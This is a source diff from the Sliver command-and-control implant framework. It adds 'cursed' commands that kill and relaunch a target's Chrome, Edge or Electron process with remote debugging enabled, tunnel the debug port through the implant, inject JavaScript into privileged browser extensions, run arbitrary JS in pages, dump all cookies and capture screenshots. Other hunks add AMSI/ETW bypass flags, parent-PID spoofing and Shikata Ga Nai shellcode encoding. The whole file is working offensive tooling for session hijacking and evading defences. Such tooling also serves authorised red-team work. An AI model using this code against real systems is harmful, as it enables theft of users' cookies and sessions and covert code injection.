"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+183
View File
@@ -0,0 +1,183 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+69
View File
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+170
View File
@@ -0,0 +1,170 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+233
View File
@@ -0,0 +1,233 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+75
View File
@@ -0,0 +1,75 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+121
View File
@@ -0,0 +1,121 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+21 -2
View File
@@ -24,6 +24,7 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -57,10 +58,24 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
@@ -75,7 +90,11 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Int("ppid")),
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
})
ctrl <- true
<-ctrl
+32 -2
View File
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
RWXPages: rwxPages,
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
+4
View File
@@ -50,6 +50,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -62,6 +64,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
+16
View File
@@ -43,6 +43,19 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
kerberosConfig := ctx.Flags.String("kerberos-config")
